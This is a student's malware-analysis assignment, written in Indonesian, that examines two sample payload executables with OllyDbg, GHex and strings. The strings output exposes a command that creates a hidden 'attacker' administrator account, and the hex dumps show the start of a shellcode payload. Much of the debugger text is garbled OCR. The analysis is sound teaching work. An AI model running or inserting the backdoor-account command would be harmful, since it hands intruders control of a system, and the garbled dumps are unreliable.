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Analisis Payload Malware dengan Windows dan Linux

Malware (Malicious Software) adalah suatu program yang dirancang dengan tujuan untuk
merusak dengan menyusup ke sistem komputer. Malware dapat menginfeksi banyak komputer dengan
masuk melalui email, download internet, atau program yang terinfeksi.

Malware bisa menyebabkan kerusakan pada sistem komputer dan memungkinkan juga terjadi
pencurian data / informasi. Hal yang pada umumnya terjadi penyebab malware adalah mendownload
software dari tempat ilegal yang disisipan malware. Malware mencakup virus, worm, trojan horse,
sebagian besar rootkit, spyware, adware yang tidak jujur, serta software-software lain yang berbahaya
dan tidak diinginkan oleh pengguna PC.

Pada website sendiri terkadang bisa terjangkit malware, hal ini bisa terjadi jika pengguna
melakukan download theme website secara ilegal, hal itu dapat menyebabkan data dan informasi yang
ada di website jebol, terkadang juga bisa menyebabkan server website menjadi down karena aktifitas
yang mencurigakan tersebut.

Hal yang harus dilakukan untuk mencegah malware adalah tidak melakukan aktifitas ilegal,
sebagai contoh tidak melakukan download resource dan aplikasi di situs yang tidak terverifikasi atau ilegal,
hal ini karena biasanya peluang adanya virus malware lebih besar terjangkit pada suatu aplikasi yang
diunduh di website tersebut.

TUGAS
Lakukan analisis terhadap 2 file payload tersebut
1. payload.exe

2. payload2.exe

analisis, proses kerja dan skema dari payload tersebut, menggunakan tools:
1. ghex,hexdump,strings (linux)

2. ollydbg(win),ida pro(linux,win)



Muhammad Azriansyah 09011281320006 Keamanan Jaringan Komputer

Untuk analisis dinamis lanjut, tool yang digunakan adalah OllyDbg. Ada dua macam cara
melakukan debugging dengan OllyDbg, menjalankan program dengan debugger dan menempelkan
(attach) debugger pada program yang sedang berjalan.

Hasil yang di dapatkan menggunakan tools Ollydbg pada windows

L|Log data EI@

Address |Hescsage ~

OllyDbg wi1.18

File "Di~Kuliah~kjk~TUSASpay loads-pay load. exe’
Mew process with ID BEEE144C created
EE4EEAS0| Hain thread with ID BEEE1VCC created
TTAZIEE6E| Hew thread with ID GBEEEFER created
AR4AAAAE | Modu le Dz =kKuliah=k jk~TUSAS~pay loads~pay load. exe
SEDEAREE| Modu e CzsWIMDOWS-5YSTEMSZ2-WSOCKSZ. d1 L
FEFAREAE | Modu le CrsWNIMDOWS~system32~apphe lp.dl L
TAEPEEEE| Modu e CosWINDOWS-5Y stema2~KERMELERSE. d1 |
TEZABEEE| Modu e Co=WIMDOWS-System3dz2~KERNELZZ. DLL
TEZ4EEEE| Modu e Co=WIMDOWS-Systemd2~MIUCRT.dLL
TEHEEEEE| Modu e Cr=WIMDOWS-SystemI32~RPCRT4.dLL
Tr2FEsaEs| Mody le Cr=WNINDOWS~System32~sechost.dl |
Tr248866E| Modu le CosWINDOWS-S5y stem32~A0UAPIZ2. d1 L
FPS2EEEE| Modu e CrsWIMDOWSSystem32-~W52_32.dL1
FPSOEAEEH | Modu Le CisWINDOWS-SYSTEM32ntdll.d
GE4EZAS0| Program entry point
Fnalysing payload
9 heuristical procedures
2 calls to known, 1 call to guessed functions
1 switches

L
Ll

Pada aplikasi Ollydb pada log data ditemukan 9 prosedur heuristik, 8 calls to known, 1 call to guessed
functions dan 1 switches.
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g CPU - main thread, module payload

(= [@]=]

z B gg EﬁBE # LRegisters (FPL)

. Ef® 59118062
ppapERatl - A2 HC ERH ECH BB4BSAS0 pau Load. <Modu LeEntruPaoid
GEIHERT] v ana EDX BA4B5A80 pay load.<Modu leEntruPoin
e ¥CHE EAY, ECH EEgeo=knen
AR4ESAIZ| . 9B WAIT EEE BREHaE
A o SE i B2 ESI BB4ESAS0 pav load.<Modu LeEntryFair
BE4ACHIE FO =70 E0I 88485A20 payload.<Modu leEntruFoir
BR4EEA9T| . FO STO EIF 88485A20 payvload.<ModuleEntruFoir
AE4AEA3Z| . 91 HCHE ERW, ECH

' C @ ES B@23 32bit @iFFFFFFFF)

Badnenoa| | e e F1 OS5 @@lE Z2hit @LFFFFFFFF]
AR o B S A B S5 @23 32bit @LFFFFFFFF]
A | o B i ' 7 1 DS B@23 22bit @iFFFFFEFF)
BpagERoEl - ES B S8 FS GA3E 27bit ZERGEELFFF]
GE4EENOE( . 49 DEC ECH ig €S D Gl
ppagERaEl - 33 DEC ECH 0 8 LastErr ERROR_SUCCESS (GOGEGEGE
AE4EEART| . 99 o] EFL @8@BEZ4E (MO, ME,E,EE, NS, FE, BE, LE
AE4ECERZ| . 42 INC EDX
BB4ESARS| . 4B INC ER 217 cnoey -2
AE4AEAR4| . FG Lo TTE b h
GE4ECERS| . 37 AAA 15 e Ah
AE4ASARE| . D6 SALC L S
AE4ACART| . 3F AAS L N
GE4ECERZ| . 42 INC EDW FALS GO
BA4A5ARS| . 43 INC EEX TS e At
BE4ECARA| . 43 INC EB% PR S-S s EsPpu
A | o S FST GEEE Cond @ @ @ 8 Erc @ B G 0
ppdoohnc| - 4z e w |FCWl 827F Frec NEAR,S2 Hazk 1 1
Fekices ||FEn sl ASCII 1511 2F TCZBCESY| RETURN to RERNELZZ. Fo2BoESd -
BEE0EE0| 05 00 0O G0 G0 55 08 B8] ........ B OB | ERNEL 32, B :
BA4B0BRAS| 5 DB BA 0F| B3 BE 0B HA| . gEasslliizesalnlitiihunk
BE4G0G16| 61 0B 08 68| &4 BE B8 6G|0 oy e (e 8 38
AE4A0E1Z| A1 @G PO 66 A1 00 68 AO(@ ok [ 2T R —
BE4E0GZG 61 DO 6E 6D 0O GO 66 06| 0 ® wEll (o rrRREEE
BE4B0AZE| 36 CI C2 A1) 08 68 a8 Ba| ¢ e || e
AA4A0EZE| EG BB 41 BF| 22 00 68 0| e | | e
AE4ADESE| 42 GG 0O A0 4B 0O OB GO|E B pasa| e
AR4E0B4E| 53 BA BA A6 SA BA @A @[ P aeE] | | e
AA4A0E4E| EF BB PR A6 62 0O GR @G| _ R ([[2a=bRa=g
GE4A0ECSH| 63 GG PO 0O &4 0O OB B[S . Bt e
AE4ADBSE| 25 73 3A 26| 43 61 GE GE|X=: Cann R s|
AR4ADGER| 6F 74 20 7S 73 65 2B 63[ot use o s | | R
GE4E0GES | 6F 6E 62 7|72 72 8% GE|oncurren Bt
BE4A0E7E| 63 79 26 60|65 76 65 BC|ow lewel ] B
AR4ADEFE| 28 67 72 B5| 61 74 B5 72| oreater e | | e
AE4A0EZA| 26 74 62 &1 6E 28 74 &F| than to okl | enoneaaat N
BE4E065E 74 61 EC 2B EE FE ED £2|tal numb Diipber 88 DR S FeEERE
AR4E0BTE| 65 72 28 6F 66 28 72 65|er of re a2l 53 hernelics
AE4A0E3Z| 71 7S 65 73|74 73 OA 60| quests.. A | | nel
AE4ADEAG| 25 73 3A 28 49 &E 76 &1|Hs: Inva B s
e R O G o) GF E3 G| Rl Bone @E14FFER| 7rR49B9Z| RETURN to ntdll.7PA49ESZ £ td
BE4E06EE| 7S 72 72 E5|EE £3 7Y 28| urrency AR14FFE4| EFFREFEF| Eod ot SEH chain e
DE4EDEES( SE 52 £1 &E| &7 &5 2B 38| [Range @ AR14FFES| TrRETiaF| Sh hondlor o
BRE4E0ECA| 2E 2E 25 &4/ 50 BA B BB| .. xd]... AR1AFFED| BEABRGEE S
AR4ADBCE| 25 73 3A 20| 63 BE V& &1|Hs: inwa ol IERES (anopnaad
GE4ADENG| 52 63 64 2B S5 G2 4C BA| [id URL. e I : v
GedenEnsl G5 GE BE @G| o0 Fo a0 S5 . oAy Load. < Modu LeEntewPoint -
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r

M| o || = | ==
Address | Size Clan = Section |Contains Tupe| Access | Initial]Mapped as
HEE 1 DEEE | BEE 1 BEEa0 Map | Rl Rl
HEEZ0EEE | BEE ] sE8a0 Map |R ]
HE14CHEA | BEAD2EEA0 Friwv| Bl Gua) Bl
HE14EREA | BEAN2EA0 stack of ma|Priv| Bl Gua) Bl
HE1EHEEA | BEAH4E8Ea0 Hap |R R
HE1&0EEA | BEA02E8A0 Priwv| Rl Rl
HE1BOEEA| BEAN3EA0 FPriwv| Rl Rl
DEZ0OFEEE | BEEa0 1880 Friv| Rl Rl
HEZEDBEA | BEAD2E8Ea0 data block {Friwv| Rl Fill
HE4A0EEE | BEA01E8E80| pay load FE header Imag| R RWE
HE4E ] BEE | BEADBEAD | pay load | . text code Imag| R REWE
HE4ACHEA | BEAD1BAY | pay load | .rdata imports Imaga| R RWE
HE4A0EEE | BEAHNSEAD | pay load | . data data Imag| R RWE
HE4 15880 BBA018A0| pay load | .rsrc rESOUrCes Imag| R RWE
HE4 20880 | BaAc 1880 Map |R R ~Dew ice~Harddiskl)
DESEBOEEE | BEADsEa0 Friv| Rl Rl
HEFADBEA | BEADIEA0 Friwv| Bl Guai Rl
SE0B0EEA | BEA0 1880 | WI0CK 32 FE header Imag| R RWE
S30B 1886 BEANIEA0N | WSOCK2Z | . tent code, enport{ Imag| R REWE
S20B488E) BEAR18A0 | WSOCK22 | .data data Imaa| R RWE
S20BEEEA| BEAD1BAN | WSOCK22 | . idata imports Imag| R RWE
S530B5EEA| BaAR1BAE | WSOCK32 | .rsro rESOUrces Imag| R RWE
GE0ETEEA| BEEA 1AAE | WSOCK3Z2 | .reloc relocations| Imag| R RUE
T4E5I0EEE | BEA0 1880 KERHELER FE header Imaa| R RWE
T4 1886 BE1788Aa0| KERHELER | « text code, edport{ Imag| R RWE
T42a%9888 | BEAan4Ean| KERHELER| . data data Imag| R RWE
T42a0EEE | BEADNeEAan | KERHELER| . idat a imports Imag| R REWE
742813888 BEA018a0| KERNELER| . didat Imaa| R RWE
r4281 4688 BEA018A0 | KERNELER | . rsrc rESOUrCes Imag| R RWE
r4215880| Baaz228680 KERNELER| . reloc relocations| Imag| R RWE
YE2A0EEA| BaA018a0 | KERNELS2 FE header Imag| R RWE
TE2AlEE6| BEad4880| KERHELZZ| . text code, edport{ Imaq| R RWE
TE325880) BEA018Aa0| KERHELSZ| . data data Imag| R RWE
TE326888 | BEA0DAEA0 | KERHELSZ| . idat a imports Imag| R RWE
TE2208EA ) BEA018Aa0| KERHELSZ | . rsr CESOUrCEs Imag| R REWE
r5321888) BBANEEAN | KERNEL3Z2| . reloc relocations| Imag| R RWE
YE240EEA | BEAH18Aa0 | MSUCRET PE header Imag| R RWE
vE5341886| BBAEEEAH | MSUCRT L teHt code, edport{ Imag| R RWE
YE3F 188A| BBA0sEA0 | MSUCRT .data data Imag| R RWE
TEIFrEEa| Baan28a0 | MSUCRET . idata imports Imaq| R RWE
TE3F9EEA| BEA018a0| MSUCRET L ELG CESOUTGES Imag| R RWE
TE3FREEA| BEan4Ea0 | MSUCRT e loc relocations| Imag| R RWE
TE4A0EEA | BEA0 1880 EPCRT4 FE header Imag| R REWE
r54@1 888 BEAE 1880 RPCRT4 L tedt code, edport{ Imag| R RWE
rE4BZEEA| BEAD 1880 RPCRT4 .data data Imag| R RWE
rE4B2E8A| BBAN3EAH RPCRT4 . idata imports Imag| R RWE
YE4BEEEA| BEAN1BAH | RPCRT4 .didat Imag| R RWE
TE4BrEEE | BEA0NSEA0 EPCRT4 L ELT CESOUrTES Imaq| R RWE
TE4BCEEA| BEADFEA0 | RPCRT4 e loc relocations| Imag| R RWE
TreFOEEa) BEA01BAa0| sechost FE header Imag| R RWE
rr2F 188@| BBASEEAN| sechost | . text code, enport{ Imag| R REWE
T r32688A ) BEANIEAN | sechost | . data data Imaga| R RWE
YP32968E | BEAK3EAD | sechost | . idata imports Imag| R RWE
Yr32CH8A| BBAN18AN| sechost | .didat Imag| R RWE
Fraz20e8a| B8EE 1888 | sechost | . rerc rESOUTCES Imag| R RUE
Tr3Z2EBEE| BEA0IEA0| sechost | Wreloc relocations| Imag| R RWE
Tra3408Ea) BEA018a0| AOVARI 32 FE header Imag| R RWE
rra34188a) BEAaccEan| AOVARPISZ| . tent code, enport{ Imag| R RWE
Tr2ATEEA | BEAn4Ean AOVARISZ2| . data data Imag| R REWE
7 r3AEEEA| BEANEEAN AOUVARI3Z2| . idata imports Imaga| R RWE
Y r3B0EEA| BEAD18Aa0 | AOUVARIZ2| . didat Imag| R RWE
rra3BlaBa) Baanlean ADVARIZZ| . rsrc rESOUrCes Imag| R RWE
FraB2BEn| BaaREaaE | ADVARIZZ| . reloc relocations| Imag| R RUE
TrS308EE) BEa0l8an | Wsz2_32 FE header Imaa| R RWE
TrE3188al BEad438a0| W52 32 - hent code. edport! Imaal B RWE
YrHFHEEE | BEEH1EEE| ntdl L RT Imag| R RWE
YrAF 1886 | BEA048808| ntdl L .data data Imag| R RWE
YrAFSEEA | BEAR3EAE| ntdl L .mrdata Imag| R RWE
TrAFSEEE | BEE018E80| ntdl L BEcfg Imag| R RWE
TrAF9EEE | BEESEEE0| ntdl L L EDG CESOUrGES Imag| R RWE
TrBG 1888 | BEENSEE0| ntdl L reloc relocations| Imag| R RWE
TFEBDEEE | BEEHSEER Map | R R
TFFEOEEE | BEE 23880 Map | R R
TFFEQEEE | BEEH1HEH Priv| R R
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.

E| o || = | =
Baze Size Entiry Mare File wersion Path Fs
BE4EREEE | @88 158868 BA485A20| pay load | 2.2. 14 O:~kul iah™k jk~TUGASpay loads~pay load. exe
cSDEEBE0 | BOEE3888 | S0B1VI6( WSOCKS2 | 18,8, 14239308 (] Ci~WINDOWS~SYSTEMIZ2-WS0CKI2. d1 L
74698880 | BE1A7E8E | 74 50CES| KERNELEA| 168, @, 14393, 286 | Ci~WINDOWS~System32~KERHMELBASE. d1 1
TSZABEEN | HEE95EA8E | FE2EEF 28| KERNELSZ| 18,8, 14393, 206 | C:~WINDOWS~System3z~KERHELS2. OLL
TE2488EE | BREEESEE | PEEVEGAGB| MSUCRT | v.8.14393.8 (rcs| Co~WINDOWS~System3z2~MSUCRT.dL L
TE4EE8EE | BOBC3A8E | FE452706| RPCRT4 18.8.14393.8 (r{ C:~WIHNDOWS~System3z2~RPCRT4. L1
TreFaaEn| ooad1888| Fraerice| sechost | 18.8.14393.8 (] Cr~WINDOWS~System3z~sechost.dl 1L
Tr34@88n | Boay7 e8| FrISE96( ADVAPTSZ| 16,6, 143938 (r{ Co~WINDOWS~SystemI32~A0OUAPIZZ. 1 L
TrE308EE | BOBE2888 | FFE4ETER| WSZ_32 18.8.14393.8 (] C:~WINDOWS~System3z~WN52_32.d11
TrIEQEE0 | 0ol Scaaa ntdll 18,8, 14293, 2086 | Ci~WINDOWS-SYSTEMSZ2~ntdll.dLL
W
r ™
ﬂ ID“E“EEI
Ident Entiw Data block|Last error Status Friority|User time Sustem a
HEEE 1APE | Ba4EEA20| BEZEEBREE | ERROR_SUCCESS (881 Aot ive 2+ @ B, 88608 < 6.8

Lakukan analisis strings pada file payload menggunakan command berikut;

e

payload

m e

root@gn

; JSu

S

e

tools

AP
payloads.zip

TUGAS

root @ eiiiy-X455LF: /home/masdisi/Downloads/TUGAS /payloads

B - X455LF : /home /aupa

DSS[[aYZQ
cmd.exe /c net user attacker Gantengl /ADD && net localgroup Administrators atta
cker JADD

rOOt@ff

b - X455LF : /home /aag

9% /Downloads /TUGAS /payloads# strings payload2.exe

jiawh /Downloads /TUGAS /payloads# |}
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Hasil yang di dapatkan setelah memproses file payload dengan tools Ghex pada linux;

o o - £E

payloads tools payloads.zip TUGAS

yload2.exe - GHex

PEEEEEOOFC E8 82 00 0@ 00 60 89 E5 31 CO 64 8B 50 30 SB....D.‘..I.G.PB.
0eEEEO10[52 OC 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC 3CR..R..r(..J&l..<
00000020)61 7C 02 2C 20 C1 CF @D @1 C7 E2 F2 52 57 8B 52al., ....... RW.R|
0000EE30(10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20|..J<.L.x.H..Q.Y
0000EE40/01 D3 8B 49 18 E3 3A 49 8B 34 8B 61 D6 31 FF A(C|...TI..:I1.4...1..
0000050|C1 CF @D 01 C7 38 EQ 75 F6 ©3 7D F8 3B 7D 24 75{..... 8.u..}.;}su
0000060[E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3|.X.X$..T..K.X...
0000EO70[8B 04 8B ©1 DO 89 44 24 24 5B 5B 61 59 5A 51 FF[...... Dss[[aYZQ.
0000086|E@ 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00[. _ Z....]j......
00eeE90j00 50 68 31 8B 6F 87 FF D5 BB FO B5 A2 56 68 A6[.Phl.o....... Vh.
signed 8 bit: [ 0 ] signed 32 bit: | -1990197248 | Hexadecimal: [ 00 |
Unsigned 8 bit: [ 0 | Unsigned 32 bit: | 2304770048 | octal: [ 000 |
Signed 16 bit: [ 0 ] Float 32 bit: [ -2,696302e-33 | Binary: | 00000000 |
Unsigned 16 bit: [ 0 ] Float 64 bit: [ 2,050813e4177 |  Stream Length: |8 - 4]
Show little endian decoding ("] show unsigned and float as hexadecimal
Offset: Ox4
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=] = — £E)

payloads tools payloads.zip TUGAS

payload2.exe - GHex

00000000[FC ES 82 0O 0O BO 60 89 E5 31 CO 64 8B 50 30 SB.D....‘..l.d.F’G.
0000001052 6C 8B 52 14 8B 72 28 OF B7 4A 26 31 FF AC 3CR..R..r(..J&1..<
0000002061 7C 02 2C 20 C1 CF @D 01 C7 E2 F2 52 57 8B 32a|., ....... RW.R

00000030/10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20|..J<.L.x.H..Q.Y
0000004001 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC|...I..:I.4...1..
00000050|C1 CF 0D 01 C7 38 EO 75 F6 03 7D F8 3B 7D 24 75|..... 8.u..}.;}su
00000060|E4 58 8B 58 24 01 D3 66 8B OC 4B 8B 58 1C 01 D3[.X.Xs$..T..K.X...
00000070/18B ©4 8B 01 DO 89 44 24 24 5B 5B 61 59 5A 51 FF...... D$s[[aYZQ.
00000080EG 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 @0 00. Z....]1j......
00000090/00 50 68 31 8B 6F 87 FF D5 BB FO B5 A2 56 68 Af.Phl.o....... Vh.

Signed 8 bit: | -24 | Signed 32 bit: | 33512 Hexadecimal: | E8 |
Unsigned 8 bit: | 232 | Unsigned 32 bit: | 33512 | octal: [ 350 ]
Signed 16 bit: |-32024 | Float 32 bit: | 4,696031e-41 ) Binary: | 11101000 |

Unsigned 16 bit: | 33512 | Float 64 bit: | -1,316174e+181 | stream Length:| 8 -+

Show little endian decoding (") show unsigned and float as hexadecimal

Offset: 0x1

= = - ]

payloads tools payloads.zip TUGAS

payload2.exe - GHex

File Edit
B0EOEOO6|FC E8 82 0O 00 OO 60 89 E5 31 CO 64 8B 50 30 8B|.|..... ..1.d.Po
00000010/52 BOC 3CR..R..r(..J&1. .<
00000020/61 7C 52 .s aiiiinn RW.R
00eEEe36|10 8B J<.L.x.H..Q.Y
00000040/01 D3 I..:I.4...1..
00000050|C1 CF @D 01 C7 38 EO@ 75 F6 03 7D F8 3B 7D 24 75[..... 8.u..}.;}su
00EOEO6RIE4 58 KUXSL LT LKLXL L
00000070/8BB 04 8B 01 DO 89 44 24 24 5B 5B 61 59 5A 51 FFl...... Ds$s[[aYZQ.
00EEEO8BIED 5F U [ [P
B0EEEE9RI0E 50 Phl.o....... Vh
Signed 8 bit: | 4 ] Signed 32 bit: | 8579324 | Hexadecimal: [ FC ]
Unsigned 8 bit: | 252 Unsigned 32 bit: [ 8579324 octal: [ 374
Signed 16 bit: [ 5892 | Float 32 bit: [ 1,202219e-38 ] Binary: [ 11111100 ]
unsigned 16 bit: \ 59644 \ Float 64 bit: |'—1,587866&263 \ Stream Length: \'8 = lqp \
Show little endian decoding (") show unsigned and float as hexadecimal
Offset: 0x0
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ardiah-X455LF: /homc/"'_' ) /Oownloads/TUGAS /payloads

Your code just forked, and you are currently executing in the parent process
Your code just forked, and you are currently executing in the child process
Internal error

The process s not recognized.

The given path contained wildcard characters

The given path is misformatted or contained invalid characters
The given path was above the root path

The glven path is incomplete

The glven path is relative

The given path is absolute

The specified network mask s invalid.

The specified IP address s invalid.

DSO load falled

No shared memory is currently available

No thread key structure was provided and one was required,
No thread was provided and one was required.

No socket was provided and one was required.

No poll structure was provided and one was required.

No lock was provided and one was required.

No directory was provided and one was required.

No time was provided and one was required.

No process was provided and one was required.

An invalid socket was returned

An invalld date has been provided

A new pool could not be created.

Unrecognized Win32 error code Xd

Cancello

GetCompressedFileSizea

GetCompressedFileSizen

ZwQueryInformationFile

GetSecurityinfo

GetNamedSecuritylnfoA

GetNamedSecurityInfoW

GetEffectiveRightsFromAclN

ntdll.dll

shell32

ws2 32

nswsock
fadvapis2

kernel32

root@mardilah-X455LF: /home [amailh /Downloads /TUGAS /payloadse l

(<] payload.exe - GHex
File Edit View Windows Help

000000004D 5A 90 60 63 00 00 0O 04 00 0O 60 FF FF 0@ QOMZ..............
00000010|B8 60 00 00 6 60 00 0O 40 00 0O 60 00 0O 0O 00....... @.......
00000020/00 60 G0 G PO OO 00 0O OO 00 0O G0 00 00 00 00................
0000003000 0 OO 0 PO 6D 00 PO 0D 00 OO OO E8 00 00 00................
00000040|0E 1F BA GE 60 B4 09 CD 21 B8 01 4C CD 21 54 6B|........ '..L.!Th
00000050169 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F|is program canno
00000060|74 20 62 65 20 72 75 6E 20 69 B6E 20 44 4F 53 20/t be run in DOS
00000070/6D 6F 64 65 2E OD 0D DA 24 00 00 00 00 0O 0O OOmode....$.......
000000806/93 38 FO D6 D7 59 9E B85 D7 59 9E 85 D7 59 9E 85/.8...Y...Y...Y..
00000090JAC 45 92 85 D3 59 9E 85 54 45 90 85 DE 59 9E 85|.E...Y..TE...Y..

Signed 8 bit: | 0 Signed 32 bit: | 0 Hexadecimal: | 00
Unsigned 8 bit: | 0 Unsigned 32 bit: | 0 Octal: | 000
Signed 16 bit: | 0 Float 32 bit: | 0,000000e+00 Binary: | 00000000
Unsigned 16 bit: | 0 Float 64 bit: | 1,358077e-312 Stream Length: | 8 - |+
Show little endian decoding Show unsigned and float as hexadecimal

Offset: 0x14
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DOS MZ executable file format and its descendants (including NE and

PE)

MZ

4D 54

1.png

payload.exe - GHex
P

00000000(4D
0E00R016(B8
00000020(00
0E00R0306(00
00000040(0E
BEEOR050(69
00000060(74
BEEOE0T6(6D
00000080[93
BOEOE096JAC

5A 0

00
0o
00
[e¢]
OE
70
65

D6
85

6F|is program canno
20t be run in DOS

Signed 8bit: [ -112
Unsigned & bit: [ 144
Signed 16 bit: [ 144

Unsigned 16 bit: | 144

signed 32 bit: | 196752

Unsigned 32 bit: | 196752

Float 32 bit: ‘ 2,757083e-40

Float 64 bit: | 5,562685e-309

Show little endian decoding

Offset: 0x2

Hexadecimal: | 90

octal: [ 220

Binary: | 10010000

Stream Length: |8 -

"] show unsigned and float as hexadecimal

+]

40 SA S0 00 03 00 00 OO0
24 00 00 OO0 FF FF

ZAP Zon

VY
eAlam data file

060000000D
00000010[BS
00000020/00
0000003000
00000040[0E
060000050[69
0000006074
00000870[6D
060000080[93
00000090JAC

5A

20
00
00
00
BA
20
62 65
64 65
FO D6 D7
92 85

04
40
00
00
21
61
20
24
D7
54

00
00
00
00
01
20
6E
00
9E
90

00
00
00
00
4C
63
20
00
85
85

Offset: 0x0

Signed 8 bit: [ 77 ]
Unsigned 8 bit: [ 77 ]
signed 16 bit: (23117 |

Unsigned 16bit: [ 23117 |

Show little endian decoding

Signed 32 bit: [ 9460301

Unsigned 32 bit: | 9460301

Float 32 bit: | 1,325671e-38

Float 64 bit: | 6,370661e-314

(") show unsigned and float as hexadecimal

octal: [ 115

Binary: | 01001101 )

Hexadecimal: [ 4D

Stream Length: |8

+ |




